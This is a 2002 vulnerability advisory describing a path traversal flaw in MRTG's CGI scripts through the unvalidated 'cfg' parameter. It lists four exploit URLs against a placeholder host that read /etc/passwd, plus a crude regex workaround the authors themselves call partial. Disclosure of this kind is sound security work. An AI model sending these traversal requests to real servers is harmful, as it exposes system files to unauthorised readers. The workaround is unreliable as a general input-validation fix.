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MRTG CGI script "show files" Vulnerability
04 February 2002
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---=== UkR Security Team advisory ===---

Name : MRTG CGI script "show files" Vulnerability
About : The Multi Router Traffic Grapher (MRTG) is a tool to monitor the traffic load on network-links. MRTG generates HTML pages containing GIF images which provide a LIVE visual representation of this traffic
Product vendor: MRTG / http://www.mrtg.org
Problem : Problem lyes in incorrect validation of user submitted
-by-browser information, that can show first string of any file of the system where script installed.
Workaround : this will help in somewhat : $input =~
s/[(\.\.)|\/]//g;
Author : UkR-XblP / UkR security team
Exploit :
http://www.target.com/cgi-bin/14all.cgi?cfg=../../../../../../../../etc/passwd
http://www.target.com/cgi-bin/14all-1.1.cgi?cfg=../../../../../../../../etc/passwd
http://www.target.com/cgi-bin/traffic.cgi?cfg=../../../../../../../../etc/passwd
http://www.target.com/cgi-bin/mrtg.cgi?cfg=../../../../../../../../etc/passwd




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